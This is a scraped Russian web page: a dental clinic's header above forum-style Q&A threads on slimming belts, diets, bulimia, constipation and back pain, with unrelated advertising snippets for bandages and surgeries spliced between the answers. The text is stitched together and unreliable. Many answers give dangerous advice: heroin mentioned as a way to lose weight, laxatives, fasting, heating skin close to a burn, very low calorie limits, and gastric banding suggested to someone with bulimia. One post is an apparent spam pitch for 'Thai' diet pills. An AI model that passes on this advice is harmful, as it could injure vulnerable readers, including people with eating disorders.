Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Помогает ли при похудении вибромассажный пояс? как часто им можно пользоваться? есть ли эффект от массажных банок? спаси

Хочу купить себе пояс Вулкан. Он помогает при похудении ?

Он помогает опустошить кошелёк.

Вс о похудении. Вс о простудах.Но уже давно признано, что для фиксации почки наиболее эффективны эластичные бандажи.

Фигня, уменьшай калории еды и увеличивай физ. нагрузку

Купи сразу три... :)))

Да. Если на него - килограмма три груза - и на пробежку...

Поможет ли при похудении вибромассажный пояс? способствует ли он усилению обмена веществ ?

Нет фигня полная)
У меня много знакомых его покупали и пользовались... результат никакой (

Послеродовый бандаж специально предназначен для приведения живота в норму. А пояс для похудения ставит перед собой несколько иную цель.

Вот так нас, лохов, и разводят
тренируйтесь, ходите в спортзал, качайте тело, а не надейтесь на то, что все само собой похудеет !

Всё это ерунда! ! и даже не слушайте никого!

Ну если в сочитании с разными тренировками и ручным массажем то должен помоч.

Фигня полная! А если вибрация сильная, то можно и навредить своему здоровью.

Валяете дома

Похудение. Диеты. Способы похудения.Когда необходим дородовый бандаж? Необходимость в ношении дородового бандажа возникает в случаях выявления акушерских...

Милые дамы! Не верьте ЧЕПУХЕ!
Если подтянуть кое-что кое-где требуется, то нужно:
1) Регулярно посещать баню с веником;
2) Заниматься любым подвижным спортом;
3) Стараться есть нормальные продукты (не химию) .
4) И на природе почаще бывать (осенью -по грибы, например, зимой - лыжи)
и 5) НЕ БРАТЬ ПРИМЕР с рахитичных "красавиц" !!!
И вообще.. . Как говаривала моя тётка моей супруге: "Если мужчины в след смотрят - значит всё в порядке" :)
Удачи...

Помогает ли при похудении пояс "вулкан"?

Кончно-результат - пепел.

Как носить бандаж после родов, как он влияет на процесс послеродового восстановленияПодсчет калорий для эффективного похудения. Чистка для похудения в домашних условиях.

Нет. при похудении только ограничения в еде и физ. нагрузки

Нет - только деньги зря выбросишь

Нет

Вреден при пояс для похудения при ежедневных занятиях фитнесом? Если да, то чем?

Раздражениям, сыпь, дизкомфорт.

Утягивающий бандаж при похудении. Если белка очень не хватает, можно попробовать соевые продукты. Какие продукты содержат скрытые жиры в значительных количествах.

Он бесполезен просто
дополнительная выведенная жидкость вернется при первом же питье воды

Бесполезная вещь!!!!

Нет не вреден, но и толку с него мало

Упражнения на диске "Грация" кому-нибудь помогли уменьшению талии и живота?А пояс "Вулкан" помогает при похудении?

Лучше тяжёлый обруч.

Диеты и похудение. Дневники похудения. Магазины и распродажи. Мода и красота.У меня такая проблема, нужен бандаж, а какой не знаю. Спина начала болеть с 12 недель ну как спина...

Как побыстрее похудеть.. .

Не жрать! вот и все.

Послеродовые бандажи также снижают нагрузку на позвоночник, уменьшая боль в спине.Программируем подсознание на естественное похудение!

При помощи вибромассажного пояса с подогревом - применять 5 раз в день! Но только не "вибротон" - есть более надежные и профессиональные пояса, цена вопроса в пределах 2000 рублей. удачи.

Есть несколько способов, но после быстрого похудения - быстрый набор веса + усталость организма.
вот несколько способов- бодифлекс (быстрое обновление организма при кислородном голодании) , гречневая или кефирная диета (исключен жир, но так же исключены и все полезные для организма вещества) , голодание (выведение воды из организма) . более длительное похудение, но результат более продолжителен= йога + антицелюлитный массаж - жареные блюда.

Как нужно пользоваться вибро тоном

Действительно ли можнобыстро похудеть при помощи "теплового" пояса на талии?

Нет!Эфект достигается засчёт выведения воды из организма!Все сразу вернется!

Бандаж при опущении матки когда и как носить. Один из удобных методов восстановления при пролапсе гениталий, это использование бандажа.

Нет! только физические нагрузки иправильное питание!

Подруга купила и не почувствовала результатов никаких, туфта это все

На талии - да (если его не снимать).

Конечно нет, ни диеты, ни кремы, ни всякие поясы похудеть не помогут. Нужно рациональное-альтернативное питание. Не верьте всякой рекламе про пояса и мази - это развод. Им лишь бы впарит и наживиться

Нет,он может убрать теплом только жидкость,которая быстро восстановится,а вот пояс с импульсами(или массажный)-проверено до 5 см за 10 сеансов.Во многих парикмахерских есть объявления про кровать массажер с таким поясом,мне удалось договориться платить только за пояс,очень помогло и не только мне.Удачи

Бандаж для похудения феникс. Идея цикличной смены рационов не нова и представляет особый интерес. Программа рассчитана как правило на тришесть месяцев.

Ну почему так люди ведутся на лохотрон?

В деня человеку необходимо выпивать до 2 лит. сырой воды. Для нормального выведения отходов производства. Полнота следствие заболивания. Пояс не поможет.

Фигня полнейшая
У меня от природы нет талии, так еще с годами стало что-то там откладываться.
танец живота и бассейн решает все мои проблемы

Да!

Есть способ вернее.
Рекомендую посмотреть мою электронную книгу "Жесткая диета и смежные вопросы" о здоровье и похудении. Там вы сможете ознакомиться с личным опытом автора проведения полных голоданий и жёстких диет, а также прочитать материалы, которые будут интересны тем, кто желает похудеть. Чтобы открыть книгу, кликните здесь.

Бандажирование Бандаж желудка. Внимание, акция! Клиника хирургии и онкологии 4 февралявеса, при котором похудение можно было бы остановить или возобновить в любой момент.

Как быстрее похудеть за месяц?

Спорт и правильное питание.

Эффективно ли похудение через бандажирование желудка? Хочу заметить, что пациенты с установленным бандажом действительно теряют вес но, как правило, только в том случае...

Героин.

Правильно питание и занятие спортом, упорное занятие спортом! В фитнесс центрах как правило тренера и программы питания выписывают, если все соблюдать можно добиться хороших результатов в короткие сроки!
удачи!))

Кефир, минералка, несколько рулонов туалетной бумаги и - прощай несколько килограмм и здоровье! :) Зато быстро!

Спорт, но не злоупотреблять
бег - 100% поможет

Просто начать правильно питаться, перестать есть мучное и сладкое, не есть на ночь, на ночь можно выпить стакан кефира, съесть какой нибудь фрукт или овощ, уверяю даже если без спорта за месяц уйдет 2-3 кг. точно

Мы рады предложить Вам пояса, корсеты, бандажи для похудения, для коррекции, согревающие, лечебные по доступной цене.

Быстрее не надо, чем медленнее - тем надежнее (или вас не волнует, что будет через месяц?).

Есть очень хорошее решение, Тайские таблетки. Раньше сама не доверяла
этому всему, но потом когда подруга посоветовала эти я очень удивилась,
они довольно быстро сжигают лишний жир без вреда для здоровья, мне
предоставили все сертификаты и инструкцию, вот уже прошёл год и я ни
сколько не жалею о потраченных деньгах, теперь я просто поддерживаю
фигуру и всё, если вы заинтересовались, то могу помочь вам с заказом их
прямо на дом. Пишите в личку и я дам вам более подробную инфу по ним если хотите

Медицина

Сомнительно, что это связано с травмой. Хотя, может, и связано. Начните с гастроэнтеролога и психолога.

Какой вред может быть от похудения Наиболее популярными среди них являются диеты, физические нагрузки, таблетки и такие приспособления, как пояса для похудения.

Вам аварию дали за неправильную жизнь.. теперь вы расплачиваетесь.... почитайте заповеди и придерживайтесь их..

Скорее всего это психосоматическое расстройство

Это посттравматический период . Он самый тяжелый в плане психосоматики ( боли и ощущения связанные с переживанием прожитого ) Чтобы урегулировать работу желудочно-кишечного тракта купите в аптеке корень Лапчатки белой (Колган) заваривайте и пейте. Очень ценное растение. Для того чтобы укрепить стенки сосудов, улучшить кровообращение и лимфоток купите живицу кедра 50% и разбавьте 100 г кедрового масла, растирайте особенно ноги один раз в день на ночь. Хорошо бы почитать назначение ваших врачей, тогда и помощь была более обьемной. Здоровья!

Думаю у вас были проблемы с гастро еще до аварии, но они не давали знать о себе...

Зачем слабительного то много выпил, сьел бы курагу или чернослив, или на худой конец клизмочку и все,

Инфракрасный бандаж поможет убрать лишние килограммы в проблемных местахинфракрасный пояс для похудения. Главная Каталог товаров инфракрасные приборы

Очень хочу похудеть! Помогите пожалуйста !)?

Когда будут такие же ножки - пиши

Диеты. Похудение. Женское здоровье.Нужен ли бандаж? Если да то какой лучше? И как его правильно подобрать и носить, чтобы не навредить себе и малышу?

Ты что, дырку между ног иметь хочешь? Если эта картинка ровно станет, то там расстояние будет 10 см - ты хорошо подумала?

Какие упражнения?
ну записывай
1. Приседание с весом. С большим весом и хорошие приседания
2. Румынская или становая тяга. На первых порах румынская
3. Ну и дальше по ощущениям и что скажет тренер.
Про стакан воды не понял, нафига?

На картинке у девушки нехилый дефицит массы тела
если ежедневно делать упражнения и выпивать стакан воды - результата не будет никогда
надо не делать упражнения, а ПАХАТЬ (велотренажер, степлер и т. п. ) так, что-бы пульс поднялся до 120 уд/мин и так в течении 1 часа - только тогда начнется расщепление жировой ткани
через пару месяцев будет виден результат

Питание ( не диета) по системе Екатерины Миримановой "Система минус 60", без вреда для здоровья. Её книгу можно найти и в магазине и в интернете, там ещё комплекс упражнений. Попробуйте-помогает, на себе испытано.

Ну бывает.
Как убрать ушки на бедрах, упражнения:
- лягте на спину, руки положите под голову. Согните ноги в коленях, опустите их налево, направо затем выпрямите. 16-18 раз.
- лягте на спину, на полу, руки поднимите вверх, ногами найдите в чем-нибудь опору. Поднимите туловище к ногам. Держите колени прямо. Пальцы рук должны дотронуться до ступней.
- лягте на спину, руки по швам. Ноги вверх прямо, затем согните, затем выпрямите. Медленно, напрягая мышцы живота, опустите ноги вниз.
- сядьте на пол с опорой руками сзади. Поднять вверх ноги, не сгибая их в коленях. Развести в стороны, вновь соединить и опустить вниз. 16-20 раз.
- сядьте на пол, ноги согните немножко в коленях и поднимите. Руки вытяните вперед. Двигайтесь на мышцах ягодиц вперед на10 см, а затем таким же образом повернуться вокруг собственной оси влево, вправо. Дыхание равномерное. В каждую сторону повторите несколько раз.
- сядьте на колени, руки опустите. Сесть на левое бедро, руки поверните направо, затем выпрямиться. Сесть на правое бедро, руки поверните налево. По 8-10 раз, меняя бедра.
- встаньте на левое колено, опора на руки. Прямую правую ногу отведите как можно дальше вбок. Выполните круговое движение правой ногой, очерчивая ей как можно больший диаметр круга (около 16 раз) без перерыва. Поменяйте ноги. Спина и вытянутая нога должны быть прямыми.
- стоя, руки на поясе, ноги врозь. Выполняйте пружинящие наклоны то влево то вправо. По 12 раз.
- поставьте перед собой стул спинкой к себе. Руки положите на спинку стула, ноги на ширине плеч. Выполняйте медленные приседания и так же медленно выпрямляйте ноги (по 5 секунд) . После не забудьте поочередно встряхнуть ногами, чтобы расслабить мышцы.
- лягте на стол, лицом вниз, от тазобедренных суставов ноги свободны. Взяться руками за переднюю грань стола (скамейки) – вдох, поднять ноги вверх на 5-10 см, опустить. 2-5 раз.
Не ленитесь. Выполняйте эти упражнения ежедневно, и в любую свободную минутку. Это только на первый взгляд кажется что тяжело и невыполнимо. Все в ваших руках и обхват ваших бедер в том числе!
Чтобы не терять время даром в отпуске, предлагаем вам несколько упражнений для борьбы с ушками прямо на пляже.
А на счет диеты
Ну ешь поменьше сладкого и жирного. Пей больше воды.

Диеты и похудение. Дневники похудения. Магазины и распродажи. Мода и красота.У меня такая проблема, нужен бандаж, а какой не знаю. Спина начала болеть с 12 недель ну как спина...

Хотите похудеть? Принцип похудения прост, нужно потреблять калорий меньше, чем тратишь. Не нужно изобретать велосипед, нужно делать 2 вещи:
1. Правильно питаться (диета для похудения) . Уменьшаем количество сложных углеводов, исключаем быстрые углеводы, соль, снижаем количество жиров, лучше все отваривать. Питаемся маленькими порциями, но часто, порядка 5-6 раз в день. Пьем больше простой воды. В первую половину дня, особенно с утра едим сложные углеводы, ближе к вечеру исключительно белковая пища.
2. Кардио нагрузка. Банально бег - главный аргумент в похудении. Но бегать нужно правильно, порядка 4х раз в неделю по 30-60 минут в среднем темпе, а лучше быстрая ходьба. Пульс должен быть в приделах 120-140 уд/мин.
Так же параллельно можно заниматься в спортзале, как написали выше, можно приседать, делать мертвую тягу, разгибание ног лежа, выпады, дабы придать форму и держать в тонусе ваши ягодицы и заднюю поверхность бедра.

Займитесь циклическими видами: велосипед, бег, плавание, лыжи, коньки-
на выбор, вкупе с упражнениями с собственным весом. соблюдайте диету (основные принципы едва ли не в каждой ссылке по любому запросу) .
купите себе пульсометр-с ним любителю веселее и интереснее.

Приседай и будет тебе счастье Можно даже не с весом, а на количество большое (это дома если занимаешься)

Нужен совет профессионального фитнес тренера

Если Вы действительно правильно занимались, правильно питались, но с проблемных зон жир не уходит, то это генетика. Жир вообще прицельно не уходит, а у Вас он уходит, но с торса, значит вектор движения верный и всё работает, но не так как у других.

Купить пояс-бандаж для похудения 17 см E195A в интернет-магазине Спортхаус66 можно, для этого необходимо поместить выбранный товар в корзину покупок и оформить заказ...

Танцы помогут

Велотренажер может реально помочь, просто занимайтесь на нём где-то 30-40 минут в день, где-то через день занимайтесь.

Я тебе посоветую кроссфиты, это очень эфективно! кроссфит - это быстрое и многократное выполнение 3 и более упражнений, это очень эффективно при сушке тела. Возьми для начала кроссфит из 3х упражнений: присядания (можно с утяжелением), пресс (можно разные виды миксовать) и скакалки.
1) присядания по 30 раз
2) пресс по 20-30 раз
3) скакалки пол минуты
нужно делать каждое упражнение по 4-6 подходов и в очень ускоренном темпе, перерыв между упражнениями 20-40 секунд. Последовательность упражнений выбираешь сама, но во время самой тренировки нельзя менять эту последовательность. Например: скакалки->пресс->присидания и так пять подходов с такой последовательностью. Со временем можешь добавлять новые упражнения и увеличивать нагрузку в упражнениях. Таких тренировок в неделю 4-5 раз хватит, остальные дни будут разгрузочными (чтобы ты отдохнула). И не забывай следить за питанием: никаких растительных жиров (насыщенные животные жиры можно, но в малом количестве), больше белка (для восстановления организма), умеренное количество углеводов (но их никогда нельзя исключать из рациона) и как всегда побольше витаминов (фрукты). И самое главное пей побольше воды: в день 1-3 литра воды (она очень нужна при сжигании жиров).

Бегать надо и плавать, есть по утрам и в обед, а ужин отдай врагу). все советы!!!

Утром занимайтесь бегом
Зарядку перед бегом...
Вечером йогу.
После йоги кипиток с лимоном
))

Бандаж-диета безопасное похудение навсегда. Как и перед каждой женщиной вопрос Худеть или не худеть? передо мной не стоит.

Нормализируйте питание, это основное!! а на счет тренировок, то что бы вы не делали, будет доп. расход калорий, и будете худеть именно в той последовательности как в ДНК заложено. Не существует отельных упражнений что бы убрать "там или тут" лишний жир. То есть будете приседать, а худеть живот или то что в ДНК забито и тд...

То что вы пишите, в большинстве случаев именно так и просисходит: Тазобедренная зона у женщин и брюшная у мужчин полнеют в самую первую очередь, а худеют в самую посленюю, что послужило введению термина "проблемная зона" Локльное жиросжигание, то есть возможность сжечь жир менно там, где это требуется, на анный момент заботит практически всех, но пока ключ к решению этой проблемы не найден. Никем!!. Есть лишь некоторые гипотетические предположения, которые, вроде бы, в некоторых случаях, чего-то та вроде бы помогают. Оин их таких методов - состоит в том, чт необхоимо создать сильный кровоток в проблемной зоне, но не на уровне мышц - мышцы это глубоко, а именно на уровне подкожно-жирового слоя. Тога только тогда голоная (обеднённая калориями кровь) может "сдвинуть" с места именно эти жировые запасы... Как инициировать такой кровотк? В этом и состоит суть вопроса... Упражнения (присед, выпад тд) как писалось выше, это мышечный уровень, а роклятый жир сидит выше - по кожй. Получается, что физкультура это хорошо, но мало. Ну ближе к цели - один из вроде бы действенных методов, состоит в том, чт сосуды покожного слоя стимулруются тепловым вздействитем. Тем пература подбирается так, чтобы она не обжигала кожу сразу, а приводиа ощцщение нетерпимости примерно через 8-12 минут. Это время я требуется для того, чтобы прогреть подкожные слои. Такая процедура на Востоке называется прижигание, хтя там таким образом работают по аккупунтктурным точкам... В России кога-то наример использовались горчичники... Общая суть - не довести до ожёга 2 степени, но греть до покраснения и состояния нетерпиости. Но кровь должна ыть голодной - без сахар углеводов и жиров - тога она ппробует подпитаться именно там.... Ещё ммент - в этих годами сидячих гирах много шлаков, тяж металлов, концерогенов итд - если эти в-ва пойдут в организм, то возможно плохое самочувствие, слабость и тд. Для более скорейшего очищения нужно пить чистую воду в повышенных количествах 3-4 литра в день. Примерно в этом направлени работают обёртывания занятия в целофанах и тд.. Н Но всё это пока призрачно, хтя и есть некоторое кол-во положительных отзывов..


Реально, велотренажер, где крутить надо) там ноги работают, соответственно и лишний вес уходит, икры выделаются) но тут потихоньку подходить надо, раз вены слабые

Я не фитнесмен: (

Практически все операции желудка для похудения используют бандаж, который внедряется путем лапраскапии.

Спорт и фитнес помогают наращивать мышцы при правильном питании. Остается диета, но и тут можно переборщить, заработать дистрофию. Может полюбить себя таким какой есть?

Как похудеть в Ляжках. Отзывы. Упражнения. Питание....
islimming.ru›Питание
Как похудеть в Ляжках. Упражнения на внутреннюю часть бедра, прямую мышцу, заднюю, бицепс. Питание уменьшение объема. Видео. нужно есть белок и овощи.
Толстые ляжки - Ева. Ру | Форум
eva.ru›Ева. Ру›?topicId=3284959
А то худеешь, а они в последнюю очередь худеют. Anonymous. 04.09.14 12:36. Продолжать еще худеть - жир уходит медленно. ..Как и толстоватые бедра при подтянутом теле - и "ляжки, как холодец"?

Арабские танцы попробуй.

Фитнес ещё не дошёл до такого уровня, чтобы локально убирать жировую ткань.

У тебя проблема с кровообращением в нижней части. Нет нормального оттока, поэтому при форсировании нагрузки - варикоз. Необходима комплексная работа и тебе нужен специалист, который будет наблюдать за тобой. Обратись в Центр Бубновского, там неплохие и сертифицированные спецы, и возможно они тебе помогут.

Бандажи дородовые, послеродовые, послеоперационные, фиксаторы, пояса лечебные, корректоры осанки Шорты, пояса, брюки для похудения.

Если есть варикоз, то поможет только калланетик - а именно многократные повторение движений согнутыми ногами лежа. Можно еще иогу добавить и китайскую гимнастику. Только делать надо правильно.

Помогите!! ((Болею булимией, несколько дней назад сорвалась с диеты на праздниках

Ну так с психиатром нужно работать, а не самой пытаться справиться

Вс о похудении. Вс о простудах.Но уже давно признано, что для фиксации почки наиболее эффективны эластичные бандажи.

А что для вас значит "обжираться"? Вам надо успокоиться (возможно даже сходить к психологу) , потому что возможно дело и не обжираловках, а в излишней панике по поводу веса. Пока вы будете думать о голодании, то эти американские гонки так и не прекратятся. Есть нужно часто, но понемногу, и так, чтобы организм получал все питательные вещества (каши, супы, тушённое, запечённое или на пару мясо курицы и говядины - чудесно, отсутствие жаренного и ограниченное количество острого в рационе, исключить чипсы и подобные вещи и т. д. ) . А чтобы меньше думать о еде, думаю, стоит найти такое занятие, которое позволит полностью переключиться с этих мыслей: рисование, шахматы, музыка, лепка, вышивание и другие хобби. Выбор огромен.

Ваши срывы происходят из-за ограничений.
Нельзя так сразу взять и голодать буквально, это стресс. И вы, думая, что как давно вы не ели вкусняшечки, как вам хочется их.... начинаете набрасываться, думая, что завтра всё-равно начнете худеть заново... .
А теперь начните питаться обычно, позволяйте себе привычную еду, не обжираясь. Вернитесь к прежнему рациону! не ограничивайте себя. Постепенно восстановите свой аппетит и обмен веществ, пусть будут какие-то переедания, но не такие, вы уже будете себя контролировать. А потом и вовсе всё нормализуется.
После этого начните ПОСТЕПЕННО корректировать рацион. НЕ голодайте! а правильно птайтесь, не ешьте меньше! просто заменяйте полезными продуктами.
Это большая работа, долгая.... и не рассчитывайте на скорость, рассчитывайте на здоровье! на красоту!

Ебания у тебя.

Комплексный подход нужен и огромное желание победить болезнь. 1. Психотерапия 2. Диета 3. Тренажерный зал. ВСЕ! Только 3 этих составляющих тебе помогут и похудеть, и избавиться от обвислостей и растяжек при похудении, и перестать хотеть обжираться )) Проверено на себе. Я сначала походила пол года на психотерапию, потом в тренажерный зал и села на диету. Очень гуманную. Ела все, но понемножку каждые 2 часа. Ни в коем случае себя не мучить. Считать калории нужно. Не более 1000 калорий в день+ физ. нагрузка. Но главное - желание. Внутреннее убеждение. Цель. Кроме тебя самой никто тебя за чуб не вытащит. Верь в себя, девочка. Этот психотерапевт мне помог: www.amburno.ru Антон Бурно г. Москва А это тебе для мотивации: http://www.youtube.com/watch?v=bMRpbqg96jI ( я похудела на 25 кг - тренажеры, диета, психотерапия) Удачи тебе. Никогда не сдавайся! Кто-то может и ты сможешь. Ты ничем не хуже.

К психологу.

Послеродовый бандаж специально предназначен для приведения живота в норму. А пояс для похудения ставит перед собой несколько иную цель.

Сделай бандажирование желудка.
С правильно отрегулированным бандажом придётся есть медленно-не нагрубишь с количеством еды.
А если перестараешься, то можно срыгнуть пищу без участия рвотного рефлекса и желудочного сока во рту.

Слава Богу, у вас НЕ булимия. у вас - "расстройство процесса приема пищи". это не столь страшно. и, действительно, что для вас - "обжираться"?)) если вы в один присест можете срубить курицу и пару-тройку порций салата оливье плюс "догнаться" тортиком - да, стоит сократить порции. ешьте с блюдца. это реально помогает. и перестаньте нервничать. набрали пару кг - сбросите опять. сейчас лето - больше фруктов и овощей, гуляйте, плавайте.
а ежели "обжираться" для вас - это съесть пол-яблока или огурец, то и разговаривать не о чем. лень даже писать. принципиально не хочется общаться с анорексичками.

Это не булимия, если бы была она, то был бы рвотный рефлекс, хотя он есть у всех

Редкий стул и полнота. Вообщем редкий стул (раз в три дня) и полнота! Что делать?

Слабительное пей

Похудение. Диеты. Способы похудения.Когда необходим дородовый бандаж? Необходимость в ношении дородового бандажа возникает в случаях выявления акушерских...

Советую заняться лечебным голоданием) одним выстрелом двух зайцев: ии похудеете и поноса не будет))

Ходи каждый день не менее часа.

Пить 0% кефир

Запор наверно, но это лечится. А от полноты, если она не наследственная, избавляются занятиями спортом.

Заняться йогой
---------------
1) Сесть на диван или на пол, опираясь руками позади себя. Повернуться «сам вокруг себя» в одну сторону, затем в другую. – Медленно и с усилием поместить правую руку за правый бок как можно дальше, подтащить левую поближе к правой, и скручивать себя, переступая о пол или диван обеими руками. Получается? Тогда попробуйте еще заглянуть через правое плечо на правое …гм, полупопие
(Все упр повторять по 10 раз, после каждого пьем стакан теплой воды)
2) То же – в другую сторону.
3) Лечь на коврик на пол, сделать «велосипед» ногами, будто едете по воздуху.
4) На полу, опираться на согнутые колени и прямые руки, голова поднята вверх. Поднять сзади прямую ногу. Согнуть ее и опустить на колено. Опускать голову вниз, когда приставляем ногу, согнутую в колене. То же – в другую сторону.
5) Пятки на ширине плеч, держаться за стол. Полуприседы.
6) Лечь на живот, опереться на пальцы прямых ног, приподняться на локтях, поднять голову. Поворачиваем медленно голову, чтобы заглянуть через плечо на своё полупопие, и в другую сторону. Прилечь, затем снова подняться.
7) Лечь на спину, поставить ноги подошвами на пол. Приподнять таз, подержать.
8) Лечь на спину, поднять ноги, не сгибая в коленях. Можно сначала одну, потом -- другую.
9) Сгибаем ногу в колене, подтягиваем ее к груди руками. Держим. Затем – другую.
• Первое упражнение. Встаньте прямо, ноги на ширине плеч. Руки поднять ладонями внутрь. Упражнение должно выполняться только в вертикальной плоскости, старайтесь не отклоняться ни вперед, ни назад. Теперь следует наклонить туловище с вытянутыми руками влево, потом вправо. Тело от пояса (вниз) не должно двигаться, как если бы вас зарыли в землю по самую талию**. Наклон влево и вправо считается за один раз
• Второе упражнение. Исходное положение то же, но руки вытянуты в стороны. Теперь нужно сделать скручивающие движения влево и вправо. Если вы поворачиваетесь влево (закручиваете свое туловище в поясе), то правую руку сгибаете перед грудью, и наоборот. При поворотах влево и вправо смотрите на ладонь вытянутой руки. Голова при этом тоже поворачивается, создавая скручивающее напряжение в шее. Поворот налево, затем направо считается за один раз**. 10 раз.
• Третье упражнение. Принять упор лежа. Руки на ширине плеч, опираются на ладони, пальцы прижаты друг к другу. Спина прямая. Расставить ноги как можно шире, упереться носками в пол. Затем повернуть голову влево как можно дальше, словно вы оборачиваетесь. Старайтесь закрутиться в поясе и шее так, чтобы через спину увидеть собственную правую пятку. Низ туловища — таз и ноги — неподвижен. Скручивание влево, потом вправо — это одно повторение, выполнить их 10 раз.
• Четвертое упражнение. Из положения стоя нужно присесть на носочках так, чтобы таз упирался в пятки, а ладони положить на колени. Пытайтесь сохранить равновесие**. Теперь начинайте поворачиваться в левую сторону. Правое колено при такого рода закручивании сначала будет приближаться к полу, а затем упрется в него. При повороте в левую сторону левое бедро должно оставаться неподвижным и нужно животом надавливать на него. При повороте вправо уже левое колено будет упираться в пол, а живот натолкнется на правое бедро. Повторить 10 раз.
______________
** Лично я ставила руки на пояс).
** Сесть на диван или на пол, опираясь руками позади себя. Повернуться «сам вокруг себя» в одну сторону, затем в другую. – Медленно и с усилием поместить правую руку за правый бок как можно дальше, подтащить левую поближе к правой, и скручивать себя, переступая о пол или диван обеими руками. Медленно поворачиваем голову, чтобы через плечо заглянуть за спину.
** прислонялась на полу к дивану за спиной
ноги ставила так, чтобы не упасть, колени обхватывала руками по очереди и подтягивала к груди).
http://medirect.ru/zapor/lechenie-zapora-ochistitelnye-uprazhneniya-jogov.html 4 упр. йоги от запора.

Как носить бандаж после родов, как он влияет на процесс послеродового восстановленияПодсчет калорий для эффективного похудения. Чистка для похудения в домашних условиях.

Физические упражнения умеренные, "без надрыва" (типа как "котяринка" написала) и здоровая еда (овощи (и сырые в том числе) , рыба, нежирное мясо, фрукты не сильно сладкие. . Никаких фаст-фудов, одназначно

Вы знаете что кишечник переваривает все что вы едите. Только не все идет на пользу и не все полезно. Воды надо пить побольше, не есть острого и соленого .Купить в аптеке фрутолакс -он из фруктов и все пройдет. У каждого бывает.

С утра пить просто воду, лучше с лимоном. Не кушать, пока не опорожните кишечник. Полнота от шлаков. Из забитого кишечника идёт всасывание в кровь. представляете сколько грязи в Вашем организме?

Побольше ешьте яблоки и побольше клетчатки, например стебли сельдерея. Есть метод проверенный, в туалете пальцем сделайте так называемый массаж перестальтики. Пальцем произведите нажатие в отверстие пупка 9 раз. Только аккуратно! Поможет! Ну, а вообще надо обследоваться, возможно у Вас есть проблемы с кишечником или очень ленивый желудок.

У моей мамы позвоночная грыжа, боли в спине. Что ей можно подарить на нг чтоб боли было меньше? Корсет? Коврик (какой)?

Подарите ей книгу С. Бубновского. И по цене подойдет, и пользы больше, чем от коврика. Скорейшего Вашей маме выздоровления!
П. С. Советы самого этого доктора время от времени показывают в передаче "О самом главном".

Утягивающий бандаж при похудении. Если белка очень не хватает, можно попробовать соевые продукты. Какие продукты содержат скрытые жиры в значительных количествах.

Спать нужно в таком случае без подушки и на твердой ровной поверхности, а сидеть на табуретке, чтобы мышцы спины постоянно тренировались, поскольку грыжа - результат нетринированности малых глубоких мышц (в народе их называют ленивые мышцы). Гимнастика Айкуне помогает

Корсет

Врача

Подарите своей маме две книжки "остеохондроз не приговор" и "грыжа не приговор" автор д. м. н. бубновский с. м. пусть она их внимательно прочитает и начинает себе САМА помогать. советую от всей души и желаю вашей маме доброго здоровья и вам тоже. если нужна моральная поддержка - пишите. я оздоравливаюсь по системе доктора бубновского. чего и вам советую. удачи!

Подарите маме поход к остеопату. У меня позвоночные грыжи, 4 года я мучилась от постоянных болей. Потом прочитала про остепатов, нашла в своем городе. Ходила (не один раз) спину выпрямила, боли прошли, похудела, помолодела.
При позвоночных грыжа прогревать нельзя, так мне все врачи сказали.

Диеты и похудение. Дневники похудения. Магазины и распродажи. Мода и красота.У меня такая проблема, нужен бандаж, а какой не знаю. Спина начала болеть с 12 недель ну как спина...

Подарите ей турмалиновый пояс и турмалиновый коврик Хао РАН. Обалденная вещь пояс стоит 2500,а коврик 5000 в Москве есть, у вас не знаю. Изумительная вещь- сама проверила правда у меня ревматоидный артрит.

Из неотложной помощи - водочный компресс, или мазь апизатрон, или финалгон или бальзам "Красная звезда" + укутать.
Потом - к невропатологу - установить диагноз и пролечиться.
Если нет возможности пойти в поликлинику (сильная боль) - вызвать скорую
- сделают блокаду (обезболивание).
http://vashaspina.ru/nevralgiya-spiny-i-grudnoj-kletki-lechenie-narodnymi-sredstvami/
После устранения острой боли желательно раз в год, до сезонного обострения (перед осенью и весной), проходить (если есть показания и нет противопоказаний - спросите у невропатолога) курс бальнеотерапии (курортного лечения) - грязелечения и (или) радоновых ванн (радоновые ванны лучше обезболивают, курорты в Хмельнике). - Очень хорошо снимается боль, улучшается подвижность, сезонные обострения становятся менее выраженные или совсем исчезают. Если нет возможности или времени лечиться на курорте, то курс грязелечения можно и дома сделать.
Еще купите аппликатор Ляпко .
- Лежать на нем когда обострение.
Удачи!

Как похудеть, помимо спорта, секса и диет???

Липосакция

Послеродовые бандажи также снижают нагрузку на позвоночник, уменьшая боль в спине.Программируем подсознание на естественное похудение!

В деревню и поробуй кормится от трудов своих. гарантировано

Ещё можно похудеть от нервов и болезней-вам выбирать что лучше.

Есть специальные пояса в которых пропускается ток, заставляя сокращаться мышцы (раньше рекламировали) ты сидишь а оно работает.

Думать о грустном, например о том как убивают людей в Ближнем Востоке и о том как западные державы - инструменты на руках богатых банкиров проводят геноцид населения восточных стран.

А никак. Меньше есть и всё...

Бандаж при опущении матки когда и как носить. Один из удобных методов восстановления при пролапсе гениталий, это использование бандажа.

Хотите похудеть? Научу. Можно есть сколько хотите!! ! -все мясо, всю рыбу, все орехи, из овощей только - огурцы, кабачек, баклажан, цветная капуста, масло только оливковое, край сливочное от коровы. Все молочнокислое - без сахара, я добавляю разведенный в воде сахарозаменитель. Спиртное - никакой водки. Вино и шампанское только сухое или полусухое
Никаких морковочек, свеколок, (про картошечку вообще молчу) на единого грамма хлеба и уж точно без единого грамма сахара (сахароза и фруктоза то же самое, что и сахар) .
Бойтесь не ЖИРНОГО а Сладкого. От жирного гуся вы похудеете от яблочка потолстеете.
Объясняю: Человеческий организм в жир способен откладывать только углеводы это все сладкое (яблочки, виноград, персики и т. д. горох, все бобовые - крахмал это углеводы. )
Жир в жир не откладывается, жир может забивать сосуды, мешать обменным процессам в организме, но он НЕ ОТКЛАДЫВАЕТСЯ.
Когда вы кушаете белки происходит вот что - белки сами по себе тяжелая для переваривания пища, т. е. чтобы их переварить вашему организму придется прибегнуть к запасам уже накопленного жира, а так как восполнить потраченное ему не из чего (вы же не едите углеводы! ) следовательно от ЕДЫ вы будете только ХУДЕТЬ. А если плюсом домой по лестнице пешком, и из дома пешком. И самое главное - забудете, что такое голод хотите есть - ешьте на здоровье! Я по вечерам догоняюсь чаем в сахарозаменителем и орешками любыми жареными в микроволновке, грецкие арахис и пр. И не забывать - вода и еще раз вода пить не менее 1,5 литров жидкости в день.
